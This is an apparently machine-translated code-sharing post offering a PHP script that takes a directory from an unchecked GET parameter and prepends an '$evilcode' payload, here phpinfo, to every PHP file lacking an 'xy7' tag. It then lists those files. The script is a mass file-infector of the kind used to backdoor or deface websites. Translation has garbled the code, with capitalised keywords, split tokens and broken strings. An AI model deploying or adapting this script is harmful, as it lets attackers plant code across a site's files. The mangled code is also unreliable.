I always forget which file I put a sentence in. I just killed all of them...
Copy codeThe Code is as follows:
<? // Xy7
If (! Isset ($ dir) or empty ($ dir )){
$ Dir = str_replace ('\', '/', dirname (_ FILE __));
Echo "<font color = \" # 00688B \ ">". $ dir. "</font> ";
} Else {
$ Dir = $ _ GET ['dir'];
Echo "<font color = \" # 00688B \ ">". $ dir. "</font> ";
}
$ Evilcode = "<? Phpinfo (); // xy7?> ";
$ Testdir = opendir ($ dir );
While ($ filea = @ readdir ($ testdir )){
If (strstr ($ filea, '. php ')){
$ Fp = @ fopen ($ filea, 'r + ');
If (! Strstr (@ fread ($ fp, 20), 'xy7 ')){
Rewind ($ fp );
$ Old = @ fread ($ fp, filesize ($ filea ));
Rewind ($ fp );
Fwrite ($ fp, $ evilcode. $ old );
}
Fclose ($ fp );
}
}
Closedir ($ testdir );
?>
<Hr>
<Table width = "100%" border = "0" cellpadding = "3" cellspacing = "1">
<Tr>
<Td> <B> file X </B> </td>
<Td> <B> time </B> </td>
<Td> <B> size </B> </td>
</Tr>
<? Php
$ Dirs = @ opendir ($ dir );
While ($ file = @ readdir ($ dirs )){
If (is_file ($ file) and (ereg ("\. php {0, 1} $", $ file )))
{$ B = "$ dir/$ file ";
$ A = @ is_dir ($ B );
If ($ a = "0 "){
$ Size = @ filesize ("$ dir/$ file ");
$ Lastsave = @ date ("Y-n-d H: I: s", filectime ("$ dir/$ file "));
Echo "<tr> \ n ";
Echo "<td> $ file </td> \ n ";
Echo "<td> $ lastsave </td> \ n ";
Echo "<td> $ size Bytes </td> \ n ";
}
}
}
@ Closedir ($ dirs );
?>
</Table>
Codz by xuanmumu